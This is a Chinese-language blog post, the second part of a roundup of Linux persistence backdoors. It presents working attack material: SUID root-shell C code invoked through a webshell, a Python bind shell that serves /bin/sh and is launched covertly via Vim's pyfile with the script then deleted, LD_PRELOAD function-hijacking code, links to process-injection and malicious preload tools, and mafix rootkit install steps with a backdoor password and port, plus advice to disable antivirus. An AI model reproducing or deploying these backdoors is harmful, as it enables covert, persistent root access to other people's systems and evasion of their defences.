linux 常见的持久化后门总结[大全2] - 夜猫博客



linux 常见的持久化后门总结[大全2]

作者: 夜猫

全网最全的网络资源分享网站

手机扫码查看

特别声明:本站资源分别为免费资源、查看密码或解压密码资源。本站所有发布的内容大部分都是安全,请放心下载!本站不可能所有资源都可以商业用途,原创或部分除外!如:商业用途请联系原作者购买正版。与本站无关!若侵犯到您的权益,请联系本站删除,我们将及时处理!

接上

举个例子

include<stdlib.h>

main () {

setuid(0);

system("/bin/bash");

}

编译成二进制文件

gcc suid.c -o luomiweixiong

赋予suid权限

chmod 4755 luomiweixiong

chmod u+s luomiweixiong

假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用

http://localhost/suid.php?path=/tmp/luomiweixiong&cmd=id

即可以root的权限执行命令id

参考:https://pythonpig.github.io/2018/06/26/suid%E5%90%8E%E9%97%A8(suid-shell)/

 

协议后门

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉.但是对于UDP(DNS、ICMP)相关流量通常不会拦截.

 

主要原理就是利用ICMP中可控的data字段进行数据传输

 

Github上的协议后门利用https://github.com/andreafabrizi/prism

 

VIM后门

Vim是从 vi 发展出来的一个文本编辑器.代码补全,编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用,和Emacs并列成为类Unix系统用户最喜欢的文本编辑器.

 

使用环境

1、安装了VIM编辑器

2、python扩展(绝大版本默认已安装)

 

首先使用一个python开启本地监听端口8888的脚本

from socket import *

import subprocess

import os, threading, sys, time

if __name__ == "__main__":

        server=socket(AF_INET,SOCK_STREAM)

        server.bind(('0.0.0.0',8888))

        server.listen(5)

        print 'waiting for connect'

        talk, addr = server.accept()

        print 'connect from',addr

        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,

                stdout=talk, stderr=talk, shell=True)

 

同时使用vim的pyfile来执行python脚本

$(nohup vim -E -c "pyfile jaky.py"> /dev/null 2>&1 &) && sleep 2 && rm -f jaky.py

攻击者开启NC链接就OK

 

linux进程注入

原理上来说,是通过获取其它的进程并修改它,一般是通过操作系统所提供的调试接口来实现的,

 

在linux中具有调试功能的工具有ptrace、Gdb、radare2、strace等,这些工具都是使用ptrace这个系统调用来提供服务的.

 

ptrace系统调用允许一个进程去调试另外一个进程。

参考:https://kevien.github.io/2018/01/28/linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/

Github上利用代码

https://github.com/gaffe23/linux-inject/

衍生的另外一个技巧  “linux一种无文件后门技巧”

 

动态链接库后门

在Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LDPRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LDPRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,这样就导致了动态链接库文件可以被当做后门使用.

 

首先创建了一个jaky.c文件,其中调用time方法,然后创建了一个jakylib.c,其中生成了一个time方法供test调用

 

编译后用LD_PRELOAD=$PWD/jakylib.so ./jaky劫持了time.

//jaky.c

#include <stdio.h>

#include <stdlib.h>

#include <time.h>

int main(){

  srand(time(NULL));

        return 0;

}

//编译:gcc -o jaky jaky.c



//jakylib.c

#include <stdio.h>

int time(){

    printf("hello Jaky");

    return 0; //the most random number in the universe

}

//编译:gcc -shared -fPIC jakylib.c -o jaky.so

 

Github上利用代码

https://github.com/mempodippy/cub3

用于预加载的恶意动态链接库

 

mafix rootkit

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号.

 

1.首先是获得远程服务器的root权限

2.然后下载rootkit程序  mafix

(下载前最好把杀毒软件关掉,基本上会报毒的!)

3.开始安装

tar -xvzf mafix.tar.gz

cd mafix

./root rootkit 345

 

(其中rootkit为你连接后门程序时的密码,345为连接的端口)

可以验证一下是否成功:

[root@jaky ~]# netstat -anlp|grep 345

tcp        0      0 0.0.0.0:345                 0.0.0.0:*                   LISTEN      11280/ttyload

 

可以看到,345端口已经在监听了.

4.连接后门程序

ssh 111.111.111.111 -p 345

 

中 完

 

分享到:
打赏
未经允许不得转载:

作者: 夜猫, 转载或复制请以 超链接形式 并注明出处 夜猫博客
原文地址: 《linux 常见的持久化后门总结[大全2]》 发布于2020-8-14

评论

未显示?请点击刷新
切换注册

登录

忘记密码?

您也可以使用第三方帐号快捷登录

切换登录

注册

linux 常见的持久化后门总结[大全2]

长按图片转发给朋友

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

Sitemap